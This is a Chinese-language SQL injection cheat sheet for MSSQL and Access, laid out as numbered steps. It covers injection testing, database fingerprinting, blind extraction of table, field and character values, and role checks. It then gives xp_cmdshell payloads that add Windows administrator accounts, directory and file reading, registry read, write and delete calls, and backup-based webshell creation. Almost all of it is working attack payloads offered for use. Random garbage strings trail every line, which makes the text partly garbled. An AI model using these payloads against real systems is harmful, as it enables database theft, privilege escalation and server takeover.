1.判断是否有注入;and 1=1 ;and 1=2 "'H$YhY]
2.初步判断是否是mssql ;and user>0 iMRb`
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3.注入参数是字符'and [查询条件] and ''=' %]%.{W\j3
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' b_Ns
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5.判断数据库系统 P_+S;(QQ~d
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;and (select count(*) from sysobjects)>0 mssql ~Nf01,F
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;and (select count(*) from msysobjects)>0 access ]bO{001y,
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 S/-[OA>N
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !cnun Lc`
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8[(eV.
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9.(1)猜字段的ascii值(access) :)}iWKAse
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6'W79
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(2)猜字段的ascii值(mssql) [0CoQ5:d?&
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 r$=MBeT
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10.测试权限结构(mssql) sKIWr{D
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- dT8m$}h9
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1\q(xka{
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }Q_IqI[7
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- zsA6(?)u
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- `),7*gn*)
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [P)'LY6F
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;and 1=(select IS_MEMBER('db_owner'));-- \1D~4Gz6}
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11.添加mssql和系统的帐户 2D`@$)KL
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;exec master.dbo.sp_addlogin username;-- %@q52ZQ
;exec master.dbo.sp_password null,username,password;-- tu6oa[s
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- r=4'6!
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;exec master.dbo.xp_cmdshell 'net user username password "L.)ML
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- h8>7si
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6PT ,m
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Cl[ '6Lk
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12.(1)遍历目录 dgpo4'c}
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;create table dirs(paths varchar(100), id int) (:2:_FL
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ElhTB
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;and (select top 1 paths from dirs)>0 `x$d8(1J`#
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %1SA!1>j
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(2)遍历目录 ~\4l*$3(^
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- AuUT 'E@E
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 w_pEup\`
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 F6h3M~uR
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 UBqA[9
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]B=B@UO@.
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13.mssql中的存储过程 KCJ zE>
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xp_regenumvalues 注册表根键, 子键 Gnp,~F"
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 N72z5[..
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xp_regread 根键,子键,键值名 '?t]iRCeI7
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 lG>rf*ei~
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xp_regwrite 根键,子键, 值名, 值类型, 值 H`]nY`HYg
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ?|TVz!3
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xp_regdeletevalue 根键,子键,值名 XV1#/@H;
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 r!V#@Md
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 uzG<(Q pu
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14.mssql的backup创建webshell a1M-F3
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use model !vfjo[v
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create table cmd(str image); HKv:)h{?
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insert into cmd(str) values (''); H&E c*MT
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backup database model to disk='c:\l.asp'; GBu&2}
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15.mssql内置函数 c.m '%4
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;and (select @@version)>0 获得Windows的版本号 5FtbZ1L
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6hXL`A&},
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;and (select user_name())>0 爆当前系统的连接用户 %/~6Qq
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;and (select db_name())>0 得到当前连接的数据库 -q&VV,
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16.简洁的webshell eHF#ME
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use model mj[PKEdkB
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create table cmd(str image); go m<V?$
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insert into cmd(str) values (''); gZ
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backup database model to disk='g:\wwwtest\l.asp';